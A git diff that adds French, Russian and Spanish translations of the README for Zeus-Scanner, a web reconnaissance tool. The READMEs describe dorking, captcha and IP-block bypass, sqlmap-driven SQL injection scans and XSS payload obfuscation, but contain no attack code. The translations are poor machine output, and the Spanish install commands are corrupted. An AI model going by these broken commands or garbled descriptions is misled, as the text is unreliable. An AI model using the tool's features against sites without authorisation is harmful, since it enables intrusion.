Merge pull request #739 from sylwit/master

Dockerize
2026-03-11 08:55:51 +00:00 · 2019-05-10 08:46:38 -05:00 · 2019-04-08 00:58:22 -04:00 · 2019-02-26 11:59:21 -06:00 · 2018-10-19 20:07:46 +02:00 · 2018-08-06 15:06:57 -05:00
101 changed files with 10195 additions and 109976 deletions
--- a/.github/translations/README-french.md
+++ b/.github/translations/README-french.md
@ -0,0 +1,142 @@
+[![GitHub stars](https://img.shields.io/github/stars/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/stargazers)
+[![GitHub forks](https://img.shields.io/github/forks/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/network) 
+[![GitHub issues](https://img.shields.io/github/issues/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/issues) 
+[![GitHub license](https://img.shields.io/badge/license-GPL-blue.svg?style=flat-square)](https://raw.githubusercontent.com/Ekultek/Zeus-Scanner/master/.github/LICENSE.md)
+[![Twitter](https://img.shields.io/twitter/url/https/github.com/ekultek/zeus-scanner.svg?style=social)](https://twitter.com/Zeus_Scanner)
+[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://github.com/Ekultek/Zeus-Scanner#donations)
+
+# Annuaire des liens utiles
+
+- [Qu'estce que Zeus](https://github.com/Ekultek/Zeus-Scanner#zeus-scanner)
+- [Les caractéristiques de Zeus](https://github.com/Ekultek/Zeus-Scanner#features)
+- [Exigences et installation](https://github.com/Ekultek/Zeus-Scanner#requirements)
+  - [Ubuntu/Debian](https://github.com/Ekultek/Zeus-Scanner#ubuntudebian)
+  - [centOS](https://github.com/Ekultek/Zeus-Scanner#centos)
+  - [autre](https://github.com/Ekultek/Zeus-Scanner#others)
+- [Capturesécran](https://github.com/Ekultek/Zeus-Scanner#screenshots)
+- [vidéo Demo](https://vimeo.com/239885768)
+- [manuel d'utilisation](https://github.com/Ekultek/Zeus-Scanner/wiki)
+  - [Comment fonctionne Zeus](https://github.com/Ekultek/Zeus-Scanner/wiki/How-Zeus-works)
+  - [Fonctionnalité](https://github.com/Ekultek/Zeus-Scanner/wiki/Functionality)
+  - [Passant drapeaux sqlmap avec Zeus](https://github.com/Ekultek/Zeus-Scanner/wiki/Passing-flags-to-sqlmap)
+- [Informations légales](https://github.com/Ekultek/Zeus-Scanner/tree/master/.github)
+  - [Licence (GPL)](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/LICENSE.md)
+  - [Code de conduite](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/CODE_OF_CONDUCT.md)
+- [Signaler un bug](https://github.com/Ekultek/Zeus-Scanner/issues/new)
+- [Ouvrir une demande de traction](https://github.com/Ekultek/Zeus-Scanner/compare)
+  - [lignes directrices de contribution](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/CONTRIBUTING.md)
+- [Dons à Zeus](https://github.com/Ekultek/Zeus-Scanner#donations)
+- [Shoutouts](https://github.com/Ekultek/Zeus-Scanner#shoutouts)
+
+# Zeus-Scanner
+
+### Qu'estce que Zeus?
+
+Zeus est un utilitaire de reconnaissance avancée conçue pour rendreapplication web simple de reconnaissance. Zeus est livré avec une puissante compatibilité intégrée dansmoteur,moteur de recherche multiple analyse syntaxique URL, la capacité d'extraireURL des deux URL interdiction et WebCache, la possibilité d'exécuter plusieurs évaluations devulnérabilité sur la cible, et estmesure de contournermoteur de recherche captchas.
+
+### Caractéristiques
+
+- Un puissant construit dansmoteur d'analyse syntaxique URL
+- compatibilité des moteurs de recherche multiples (`DuckDuckGo`,` AOL`, `Bing`et`  défaut est `Google`Google`)
+- Possibilité d'extraire l'URL de l'URL d'interdiction de Google contournant ainsiblocs IP
+- Possibilité d'extraire l'URL de webcache Google
+- compatibilité proxy (`http`,` https`, `socks4`,` socks5`)
+- compatibilité proxy Tor etémulation de navigateur Tor
+- Parse `robots.txt`/`plansite .xml` et les enregistrer dans un fichier
+- évaluations devulnérabilité multiples (XSS, SQLi, clickjacking, balayageports, panneau d'administration découverte,recherches whois et plus)
+- sabotage scripts pour occultent XSS charges utiles
+- Peut fonctionner avec un agent utilisateurdéfaut personnalisé ,un des plus4000 agents-utilisateurshasard, ou un agent utilisateur personnel
+- création d'émission automatique lorsqu'une erreur inattendue survient
+- Capacité d'analyser une page Web et tirer tous les liens
+- Peut exécuter un dork singulier, dorks multiples dans un fichier donné, ou un dorkhasard dans une liste de plus5000 dorks soigneusement étudiés
+- dork listes noires lorsque passites se trouvent à la requête de recherche, va enregistrer la requête dans un fichier liste noire
+- Identifierprotection WAF / IPS / IDS de plus20 différents parefeu
+- énumération de protectiontête pour vérifier quel type de protection est assurée partêtes HTTP
+- enregistrementcookies,têtes etautres informations vitales pourfichiers journaux
+- et bien plus encore ...
+
+### Capturesécran
+
+Exécution sans options obligatoires, ouexécuter le --help` `drapeauva afficher le menu d'aide de Zeus:
+[zeus-help](https://user-images.githubusercontent.com/14183473/30176257-63391c62-93c7-11e7-94d7-68fde7818381.png)
+
+un dorkbase avec le `balayage-d`, drapeau  du dork donné lancera un navigateur automatisé et tirer le Google résultats page:
+[zeus-dork-scan](https://user-images.githubusercontent.com/14183473/30176252-618b191a-93c7-11e7-84d2-572c12994c4d.png)
+
+Appeler le `-s` drapeauvous demandera vous de démarrer le serveur API sqlmap `python sqlmapapi.py -s` de sqlmap, il va alorsconnecter à l'API et effectuer une analyse de sqlmap sur les URL trouvées.
+[zeus-sqlmap-api](https://user-images.githubusercontent.com/14183473/30176259-6657b304-93c7-11e7-81f8-0ed09a6c0268.png)
+
+Vous pouvez voir pluscapturesécran [ici](https://github.com/Ekultek/Zeus-Scanner/wiki/Screenshots)
+
+###[Demo!
+
+[![to_video](https://user-images.githubusercontent.com/14183473/31474224-feb8c022-aebe-11e7-9684-1ba83f4fd7ff..png)](https://vimeo.com/239885768)
+
+### exigences
+
+Il y a des exigences pourcela soit exécutésuccès.
+
+##### Exigencesbase
+
+- `libxml2-dev`,` libxslt1-dev`, `python-dev` sont nécessaires pour le processus d'installation
+- navigateur web Firefox est nécessairepartir de maintenant, vous aurez besoin Firefox version`<= 57 > = 51` (entre 51 et 57).fonctionnalité complète pourautres navigateurs seront ajoutées.
+- Si vous voulez exécuter sqlmaptravers vous aurez besoin d'sqlmap quelque part de l'URL sur votre système.
+- Si vous voulez exécuter un port numérisationaide nmap sur les adresses IP de l'URL. Vous aurez besoin nmap sur votre système.
+- [Geckodriver](https://github.com/mozilla/geckodriver)est nécessaire pour exécuter le navigateur Web Firefox et sera installé la première foisvous exécutez. Il sera ajouté à votre `/ usr / bin` afin qu'il puisse être exécuté dans votre ENV PATH.
+- Vous devez être `sudo` pour la première foiscoursexécutioncette façon que vous pouvez ajouter le pilote à votre PATH, vous devrez peutêtre exécutertant que`sudo` fonction de vos autorisations. _REMARQUE:_ `fonction des autorisationsvous devrez peutêtre pour toute exécution sudo impliquant le geckodriver`
+-` xvfb` est requis par `pyvirtualdisplay`,il sera installécasinstallation sur votre premier run
+
+##### package Python exigences
+
+- [sélénium WebDriver](http://www.seleniumhq.org/projects/webdriver/)paquet est nécessaire pour automatiser les appels API de navigateur Web et bypass.
+- [demandes](http://docs.python-requests.org/en/master/)paquet  est nécessaire pourconnecter à l'URL, et l'API sqlmap
+- [-nmap python](http://xael.org/pages/python-nmap-fr.html)paquet  est nécessaire pour exécuter nmap sur les adresses IP de l'URL
+- [Whichcraft](https://github.com/spookyowl/witchcraft)package est nécessaire pour vérifier si nmap et sqlmap sont sur votre système si vous voulez les utiliser
+- [pyvirtualdisplay](https://pyvirtualdisplay.readthedocs.io/en/latest/)package  est nécessaire pour masquer l'affichage du navigateur touttrouvant l'URL de recherche
+- [lxml](https://lxml.readthedocs.io/fr/latest/)est nécessaire pour analyserdonnées XML pour le plansite etenregistrertant que tel
+- [psutil](https://github.com/giampaolo/psutil)est nécessaire pour rechercherexécutionsessions API sqlmap
+- [beautifulsoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/)est nécessaire pour tirer toutes les balises de descripteur HREF et analyser le code HTML dans une syntaxe facilement réalisable
+
+### Installation
+
+Vous pouvez télécharger le dernière [tar.gz](https://github.com/ekultek/zeus-scanner/tarball/master),le dernier [zip](https://github.com/ekultek/zeus-scanner/zipball/master),ou vous pouvez trouver le courant version stable [ici](https://github.com/Ekultek/Zeus-Scanner/releases).Sinonvous pouvez installer la dernière version de développement en suivant les instructions qui correspondentmieux à votre système d'exploitation:
+
+** _NOTE: (facultatif mais fortement conseillé)_ ** ajouter sqlmap et nmap à votre environnement PATH en les déplaçant vers `/usr/bin `ouen les ajoutant au PATH viaterminal
+
+##### Ubuntu/Debian
+
+```
+sudo apt-get install libxml2-dev libxslt1-dev python-dev &&  git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+``` 
+ 
+##### centOS
+
+```
+sudo apt-get install gcc python-devel libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+```
+
+##### Others
+
+```
+sudo apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+```
+
+Celainstallera tous les Packa exigences ge ainsi que les geckodriver
+
+
+### Dons
+
+Zeus est créé par une petite équipe de développeurs qui ont une aspiration àsécurité deinformation et cherchent à réussir. Si vous aimez Zeus etvous voulez fairedon à notre financement, nous acceptons avec plaisir et appréciateur dons via:
+
+- Bitcoin (BTC): `3DAQGcAQ194NGVs16Mmv75ip45CVuE8cZy`
+- [PayPal](https://www.paypal.me/ZeusScanner)
+- Vous pouvez [Achètenous un café](https://ko-fi.com/A28355P5)
+
+vous pouvez être assuré que tousdons serviront au financementZeus pourrendre plus fiable et mieux encore, merci de l'équipe de développement Zeus
+
+### Shoutouts
+
+##### [OpenSource Projets](https://www.facebook.com/opensourceprojects/)
+
+OpenSource Projects est une page communautaire Facebook qui abut est de donnerdéveloppeurs, nouveaux et anciens, un endroit facile et simple de partager leur contributions opensource etprojets. Personnellementje pensec'est une idée géniale, je sais combien il est difficile d'obtenir votre code remarqué pargens et soutenir ces garslà100%. Allezy et leur donner un comme [ici](https://www.facebook.com/opensourceprojects/).Ils partageront tout projet opensourcevous leur envoyez gratuitement. Merci projets OpenSource pour donnerdéveloppeurs un endroit pour partagertravail avec un autre!
+
--- a/.github/translations/README-russian.md
+++ b/.github/translations/README-russian.md
@ -0,0 +1,142 @@
+[![GitHub stars](https://img.shields.io/github/stars/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/stargazers)
+[![GitHub forks](https://img.shields.io/github/forks/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/network) 
+[![GitHub issues](https://img.shields.io/github/issues/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/issues) 
+[![GitHub license](https://img.shields.io/badge/license-GPL-blue.svg?style=flat-square)](https://raw.githubusercontent.com/Ekultek/Zeus-Scanner/master/.github/LICENSE.md)
+[![Twitter](https://img.shields.io/twitter/url/https/github.com/ekultek/zeus-scanner.svg?style=social)](https://twitter.com/Zeus_Scanner)
+[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://github.com/Ekultek/Zeus-Scanner#donations)
+
+# Полезные ссылки каталог
+
+- [Что такое Зевс](https://github.com/Ekultek/Zeus-Scanner#zeus-scanner)
+- [Зевса е нкции](https://github.com/Ekultek/Zeus-Scanner#features)
+- [Требования и установка](https://github.com/Ekultek/Zeus-Scanner#requirements)
+ - [Ubuntu / Debian](https://github.com/Ekultek/Zeus-Scanner#ubuntudebian)
+ - [CentOS](https://github.com/Ekultek/Zeus-Scanner#centos)
+ - [другие](https://github.com/Ekultek/Zeus-Scanner#others)
+- [Скриншоты](https://github.com/Ekultek/Zeus-Scanner#screenshots)
+- [Demo видео](https://vimeo.com/239885768)
+- [инструкцияэксплуатации](https://github.com/Ekultek/Zeus-Scanner/wiki)
+ - [Как Зевс работает](https://github.com/Ekultek/Zeus-Scanner/wiki/How-Zeus-works)
+ - [Функциональность](https://github.com/Ekultek/Zeus-Scanner/wiki/Functionality)
+ - [Передача sqlmap флаги с Зевсом](https://github.com/Ekultek/Zeus-Scanner/wiki/Passing-flags-to-sqlmap)
+- [Правовая информация](https://github.com/Ekultek/Zeus-Scanner/tree/master/.github)
+ - [License (GPL)](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/LICENSE.md)
+ - [Кодекс поведения](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/CODE_OF_CONDUCT.md)
+- [Сообщить об ошибке](https://github.com/Ekultek/Zeus-Scanner/issues/new)
+- [Открыть запрос нагрузочный](https://github.com/Ekultek/Zeus-Scanner/compare)
+ - [руководящие принципы](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/CONTRIBUTING.md)
+- [Пожертвования Зевса](https://github.com/Ekultek/Zeus-Scanner#donations)
+- [Shoutouts](https://github.com/Ekultek/Zeus-Scanner#shoutouts)
+
+# Zeus-сканер
+
+### Что такое Зевс?
+
+Зевс является утилитой разведки разработаночтобы сделать вебприложения разведывательный просто. Зевс поставляетсякомплекте с мощным встроенным URL разбора двигателя, множественная совместимости двигателя поиска, возможность извлечения URLадреса из обоих запрета и Webcache URLадресов, возможность запуска нескольких оценок уязвимости на цели, и может обойти каптч поисковой системы.
+
+### Особенности
+
+- мощная встроенная в URL разбора двигателя
+- Совместимость Multiple поисковой системы (`DuckDuckGo`,` AOL`, `Bing`и` Google` умолчанию является `Google`)
+- Возможность извлечения URL из запрета URLGoogle обходя таким образом IPблоки
+- Возможность извлекать из Webcache URLGoogle
+- проксисовместимость (`http`,` https`, `socks4`,` socks5`)
+- совместимостьпроксиTor и эмуляция Tor браузера
+- Разбираем `robots.txt`/`Карта сайта.xml` и сохранить их в файл
+- оценки Множественные уязвимости (XSS, SQLI, ClickJacking, сканирование портов, админка находкой, Whois поиски, и многое другое)
+- тампера скрипты запутать XSS полезных нагрузок
+- Может работать с настраиваемойумолчанию агент пользователя , один из более чем 4000 случайных пользовательских агентов или личного агента пользователя
+- Автоматическое создание проблемыкогда возникает неожиданная ошибка
+- Возможность сканировать вебстраницу и вытащить все ссылки
+- Может работать уникальный мужлан, несколько Dorks в данном файл, или случайный придурок из списка более 5000 тщательно исследовал Dorks
+- Dork черный списоккогда сайты не найдены с поисковым запросом, будет сохранить запрос в черный список файлов
+- Определение WAF / IPS / защита IDS более 20 различных брандмауэров
+- защита перечисления заголовка для проверкичто вид защиты обеспечиваетсяпомощью HTTP заголовков
+- Сохранение куки, заголовков и другая необходимая информация в логфайлы
+- и многое другое ...
+
+### Скриншоты
+
+Запуск без обязательных опций, или запустив `--help` флаг будет выводить меню помощи Зевса:
+[Zeus-помощь](https://user-images.githubusercontent.com/14183473/30176257-63391c62-93c7-11e7-94d7-68fde7818381.png)
+
+основной мужлан сканирование с `-d` флагом, из данного мужлана запустит автоматизированную браузер и тянуть Google результаты страницы:
+[Zeus-мужлан-сканирования](https://user-images.githubusercontent.com/14183473/30176252-618b191a-93c7-11e7-84d2-572c12994c4d.png)
+
+Вызов `-s` флаг запросит вы начать API сервера sqlmap `питон sqlmapapi.py -s` из sqlmap, он будет подключаться к API и выполнить sqlmap сканирование на найденный URL.
+[Zeus-sqlmap-апи](https://user-images.githubusercontent.com/14183473/30176259-6657b304-93c7-11e7-81f8-0ed09a6c0268.png)
+
+Вы можете увидеть больше скриншотов [здесь](https://github.com/Ekultek/Zeus-Scanner/wiki/Screenshots)
+
+### Demo
+
+[![to_video](https://user-images.githubusercontent.com/14183473/31474224-feb8c022-aebe-11e7-9684-1ba83f4fd7ff.png)](https://vimeo.com/239885768)
+
+### требования
+
+Есть некоторые требования для этогочтобы быть успешно работать.
+
+##### Основные требования
+
+- `libxml2-dev`,` libxslt1-dev`, `питон-dev` необходимы для процесса установки
+- веббраузер Firefox требуется как сейчас, вы будете нуждатьсяFirefox версии`<= 57 > = 51` (между 51 и 57).конечном итоге будет добавлена полная функциональность для других браузеров.
+- Если вы хотите запустить sqlmap через вам нужно будет sqlmap URLгдето в вашей системе.
+- Если вы хотите запустить сканирование портовпомощью Nmap по IPадресов URL. Вы будете нуждатьсяNmap в вашей системе.
+- [Geckodriver](https://github.com/mozilla/geckodriver)требуется для запуска веббраузера Firefox и будет установлен в первый раз при запуске. Он будет добавлен к вашему `/ USR / bin` так что он может быть запущен в вашем ENV PATH.
+- Вы должны быть `sudo` впервые работает это такчто вы можете добавить драйвер в PATH, вы можете также должны работать как`sudo` зависимости от ваших прав. _ПРИМЕЧАНИЕ:_ `зависимости от прав доступа может потребоваться быть Суда для любого бегаучастием geckodriver`
+-` xvfb` требуется на `pyvirtualdisplay`,он будет установленесли не установлен на вашемпервого запуска
+
+пакете Python##### требования
+
+- [селен WebDriver](http://www.seleniumhq.org/projects/webdriver/)пакет требуется для автоматизации веббраузер и перепускной API вызовов.
+- [запросы](http://docs.python-requests.org/en/master/)пакет требуется для подключения к URLадресу, а sqlmap API
+- [питон-птар](http://xael.org/страницы /питон-птар-en.html)пакет требуется для запуска Nmap по IPадресам URL,
+- [whichcraft](https://github.com/spookyowl/witchcraft)пакет требуетсячтобы проверитьесли птар и sqlmap находятся на вашем системыесли вы хотите использовать их
+- [pyvirtualdisplay](https://pyvirtualdisplay.readthedocs.io/en/latest/)пакет требуетсячтобы скрыть экран браузеравремя нахождения поиска URL
+- [LXML](https:// LXML .readthedocs.io / о / последние/)требуется для анализа данных XML длясайта и сохранить его как таковые
+- [psutil](https://github.com/giampaolo/psutil)требуется для поиска работы sqlmap сессий API
+- [BeautifulSoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/)требуетсячтобы вытащить все тег дескриптора HREF и разбор HTML в легко работоспособный синтаксисе
+
+### Установку
+
+Вы можете скачать последняя [tar.gz](https://github.com/ekultek/zeus-scanner/tarball/master),последняя [застежкамолния](https://github.com/ekultek/zeus-scanner/zipball/master),или вы можете найти ток стабильный релиз [здесь](https://github.com/Ekultek/Zeus-Scanner/releases).альтернативы вы можете установить последнюю версию развития, следуя инструкциикоторые наилучшимсоответствуют вашей операционной системе:
+
+** _Примечание: (обязательноно настоятельно рекомендуется)_ ** добавить sqlmap и Nmap в вашу среде PATH, перемещая их в `/ USR / бен `илипутем добавления их в PATH через терминал
+
+##### Ubuntu/Debian
+
+```
+sudo apt-get install libxml2-dev libxslt1-dev python-dev &&  git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+``` 
+ 
+##### centOS
+
+```
+sudo apt-get install gcc python-devel libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+```
+
+##### Others
+
+```
+sudo apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+```
+
+Этоустановит всеM. Требования GE вместе с geckodriver
+
+
+### Пожертвования
+
+Zeus создается небольшой группой разработчиков, у которых есть стремление к информационной безопасности и стремятся добиться успеха. Если вы хотите Зевс и хотите пожертвовать наше финансирование, мырадостью и благодарностью принимаем пожертвование через:
+
+- Bitcoin (BTC): `3DAQGcAQ194NGVs16Mmv75ip45CVuE8cZy`
+- [PayPal](https://www.paypal.me/ZeusScanner)
+- Или вы можете [купить нам кофе](https://ko-fi.com/A28355P5)
+
+Вы можете быть уверенычто все пожертвования пойдут на финансирование Зевсачтобы сделать его более надежным и даже лучше, спасибо от команды разработчиков Zeus
+
+### Shoutouts
+
+##### [OpenSource проекты](https://www.facebook.com/opensourceprojects/)
+
+OpenSource проекты это страница Facebook сообществакто цель состоитчтобы дать разработчикам, новые и старые, а легко и просто месточтобы разделить их вклад OpenSource и проекты. Я лично считаюэто огромная идея, я знаюкак трудно получить код заметил людьми и поддерживает эти ребята100%. Идите вперед и дать им как [здесь](https://www.facebook.com/opensourceprojects/).Они будут делиться любой проектоткрытым исходным кодом вы отправить их бесплатно. Спасибо OpenSource проектов для предоставления разработчикам место для обмена работу друг с другом!
+
--- a/.github/translations/README-spanish.md
+++ b/.github/translations/README-spanish.md
@ -0,0 +1,139 @@
+[![GitHub stars](https://img.shields.io/github/stars/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/stargazers)
+[![GitHub forks](https://img.shields.io/github/forks/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/network) 
+[![GitHub issues](https://img.shields.io/github/issues/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/issues) 
+[![GitHub license](https://img.shields.io/badge/license-GPL-blue.svg?style=flat-square)](https://raw.githubusercontent.com/Ekultek/Zeus-Scanner/master/.github/LICENSE.md)
+[![Twitter](https://img.shields.io/twitter/url/https/github.com/ekultek/zeus-scanner.svg?style=social)](https://twitter.com/Zeus_Scanner)
+[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://github.com/Ekultek/Zeus-Scanner#donations)
+
+# Directorio de enlaces útiles
+
+- [Qué es Zeus](https://github.com/Ekultek/Zeus-Scanner#zeus-scanner)
+- [Funciones de Zeus](https://github.com/Ekultek/Zeus-Scanner#features)
+- [Requisitos e instalación](https://github.com/Ekultek/Zeus-Scanner#requirements)
+  - [Ubuntu/Debian](https://github.com/Ekultek/Zeus-Scanner#ubuntudebian)
+  - [centOS](https://github.com/Ekultek/Zeus-Scanner#centos)
+  - [otro](https://github.com/Ekultek/Zeus-Scanner#others)
+- [Capturas de pantalla](https://github.com/Ekultek/Zeus-Scanner#screenshots)
+- [Video de demostración](https://vimeo.com/239885768)
+- [Manual de usuario](https://github.com/Ekultek/Zeus-Scanner/wiki)
+  - [Cómo funciona Zeus](https://github.com/Ekultek/Zeus-Scanner/wiki/How-Zeus-works)
+  - [Funcionalidad](https://github.com/Ekultek/Zeus-Scanner/wiki/Functionality)
+  - [Pasando banderas sqlmap con Zeus](https://github.com/Ekultek/Zeus-Scanner/wiki/Passing-flags-to-sqlmap)
+- [Información legal](https://github.com/Ekultek/Zeus-Scanner/tree/master/.github)
+  - [Licencia (GPL)](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/LICENSE.md)
+  - [Código de conducta](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/CODE_OF_CONDUCT.md)
+- [Informar de un error](https://github.com/Ekultek/Zeus-Scanner/issues/new)
+- [Abrir solicitud de extracción](https://github.com/Ekultek/Zeus-Scanner/compare)
+  - [Directrices de contribución](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/CONTRIBUTING.md)
+- [Donaciones a Zeus](https://github.com/Ekultek/Zeus-Scanner#donations)
+- [Shoutouts](https://github.com/Ekultek/Zeus-Scanner#shoutouts)
+
+# Zeus-Scanner
+
+### ¿Qué es Zeus?
+
+Zeus es una utilidad de reconocimiento avanzada diseñada para hacer que el reconocimiento de aplicaciones web sea simple. Zeus viene completo con un poderoso motor de análisis integrado de URL, compatibilidad con múltiples motores de búsqueda, la capacidad de extraer URL de las URL de prohibición y de caché web, la capacidad de ejecutar múltiples evaluaciones de vulnerabilidad en el objetivo y puede eludir los captchas de los motores de búsqueda.
+
+### Caracteristicas
+
+ - Un potente motor de análisis de URL incorporado
+ - La compatibilidad con múltiples motores de búsqueda (`DuckDuckGo`,` AOL`, `Bing` y` Google` por defecto es `Google`
+ - Posibilidad de extraer la URL de la URL de prohibición de Google evitando así los bloques de IP
+ - Posibilidad de extraer de la URL de caché web de Google
+ - Compatibilidad proxy (`http`,` https`, `socks4`,` socks5`
+ - Compatibilidad Tor proxy y emulación de navegador Tor
+ - Parse `robots.txt` /` sitemap.xml` y guárdelos en un archivo
+ - Múltiples evaluaciones de vulnerabilidad (XSS, SQLi, clickjacking, escaneo de puertos, hallazgos de panel de administración, búsquedas de whois, y más)
+ - Guiones de sabotaje para ofuscar cargas útiles XSS
+ - Se puede ejecutar con un agente de usuario predeterminado personalizado, uno de los más de 4000 agentes de usuario aleatorios o un agente de usuario personal
+ - Creación automática de problemas cuando surge un error inesperado
+ - Posibilidad de rastrear una página web y extraer todos los enlaces
+ - Puede ejecutar un dork singular, múltiples dorks en un archivo determinado, o un dork aleatorio de una lista de más de 5000 dorks cuidadosamente investigados
+ - Lista negra de Dork cuando no se encuentran sitios con la consulta de búsqueda, guardará la consulta en un archivo de lista negra
+ - Identificar la protección WAF / IPS / IDS de más de 20 firewalls diferentes
+ - Enumeración de protección de encabezado para verificar qué tipo de protección se proporciona a través de encabezados HTTP
+ - Guardar cookies, encabezados y otra información vital para registrar archivos
+ - y mucho más...
+
+### Capturas de pantalla
+
+Si ejecuta sin opciones obligatorias o si ejecuta el indicador `--help`, se mostrará el menú de ayuda de Zeus:
+! [zeus-help](https://user-images.githubusercontent.com/14183473/30176257-63391c62-93c7-11e7-94d7-68fde7818381.png)
+Un escaneo de dork básico con la bandera `-d`, del dork dado lanzará un navegador automatizado y extraerá los resultados de la página de Google:
+! [zeus-dork-scan](https://user-images.githubusercontent.com/14183473/30176252-618b191a-93c7-11e7-84d2-572c12994c4d.png)
+Llamar al indicador `-s` le pedirá que inicie el servidor de la API sqlmap` python sqlmapapi.py -s` desde sqlmap, luego se conectará a la API y realizará un análisis de sqlmap en la URL encontrada.
+! [zeus-sqlmap-api](https://user-images.githubusercontent.com/14183473/30176259-6657b304-93c7-11e7-81f8-0ed09a6c0268.png)
+
+Puede ver más capturas de pantalla [aquí](https://github.com/Ekultek/Zeus-Scanner/wiki/Screenshots)
+
+### Demo
+
+[![to_video](https://user-images.githubusercontent.com/14183473/31474224-feb8c022-aebe-11e7-9684-1ba83f4fd7ff.png)
+](https://vimeo.com/239885768)
+
+### Requisitos
+
+Hay algunos requisitos para que esto se ejecute con éxito.
+
+##### Requerimientos básicos
+
+ - `libxml2-dev`,` libxslt1-dev`, `python-dev` son necesarios para el proceso de instalación
+ - Se requiere navegador web Firefox a partir de ahora, necesitarás la versión de Firefox `<= 57> = 51` (entre 51 y 57). Se agregará la funcionalidad completa para otros navegadores.
+ - Si desea ejecutar sqlmap a través de la URL, necesitará sqlmap en algún lugar de su sistema.
+ - Si desea ejecutar un escaneo de puertos usando nmap en las direcciones IP de la URL. Necesitarás nmap en tu sistema.
+ - [Geckodriver](https://github.com/mozilla/geckodriver) es necesario para ejecutar el navegador web firefox y se instalará la primera vez que ejecute. Se agregará a su `/ usr / bin` para que pueda ejecutarse en su ENV PATH.
+ - Debe ser `sudo` por primera vez ejecutando esto para que pueda agregar el controlador a su RUTA, también puede necesitar ejecutar como` sudo` dependiendo de sus permisos. _NOTA: _`Dependiendo de los permisos, puede que necesite sudo para cualquier ejecución que involucre al geckodriver`
+ - `xvfb` es requerido por` pyvirtualdisplay`, se instalará si no está instalado en su primera ejecución
+ 
+##### Requisitos del paquete de Python
+
+ - Se requiere el paquete [selenium-webdriver](http://www.seleniumhq.org/projects/webdriver/) para automatizar el navegador web y eludir las llamadas API.
+ - Se requiere el paquete [requests](http://docs.python-requests.org/en/master/) para conectarse a la URL y a la API de sqlmap.
+ - Se requiere el paquete [python-nmap](http://xael.org/pages/python-nmap-en.html) para ejecutar nmap en las direcciones IP de la URL
+ - El paquete [witchcraft](https://github.com/spookyowl/witchcraft) es necesario para verificar si nmap y sqlmap están en su sistema si desea usarlos
+ - Se requiere el paquete [pyvirtualdisplay](https://pyvirtualdisplay.readthedocs.io/en/latest/) para ocultar la visualización del navegador mientras se encuentra la URL de búsqueda
+ - [lxml](https://lxml.readthedocs.io/en/latest/) es necesario para analizar los datos XML del mapa del sitio y guardarlo como tal
+ - [psutil](https://github.com/giampaolo/psutil) es necesario para buscar ejecutar sesiones API de sqlmap
+ - [beautifulsoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) es necesario para extraer todas las etiquetas de descriptor HREF y analizar el HTML en una sintaxis fácil de usar
+ 
+### Instalación
+
+Puede descargar la última [tar.gz](https://github.com/ekultek/zeus-scanner/tarball/master), la última [zip](https://github.com/ekultek/zeus-scanner/zipball/master), o puede encontrar la versión estable actual [aquí](https://github.com/Ekultek/Zeus-Scanner/releases). Alternativamente, puede instalar la última versión de desarrollo siguiendo las instrucciones que mejor se adapten a su sistema operativo:
+
+**_NOTA: (opcional pero muy recomendable)_ ** agregue sqlmap y nmap a su RUTA del entorno moviéndolos a `/usr/bin` o agregándolos a la RUTA a través de la terminal
+
+##### Ubuntu / Debian
+
+```
+sudo apt-get install libxml2-dev libxslt1-dev python-dev && git clon https://github.com/ekultek/zeus-scanner.git y& cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus .py
+```
+ 
+##### centOS
+
+```
+sudo apt-get install gcc python-devel libxml2-dev libxslt1-dev python-dev && git clon https://github.com/ekultek/zeus-scanner.git y& cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+```
+
+##### Otros
+
+```
+sudo apt-get install libxml2-dev libxslt1-dev python-dev && git clon https://github.com/ekultek/zeus-scanner.git y& cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus .py
+```
+
+Esto instalará todos los requisitos del paquete junto con el geckodriver
+
+### Donaciones
+
+Zeus es creado por un pequeño equipo de desarrolladores que aspiran a la seguridad de la información y se esfuerzan por tener éxito. Si te gusta Zeus y quieres donar a nuestra financiación, agradecemos y agradecemos las donaciones a través de:
+
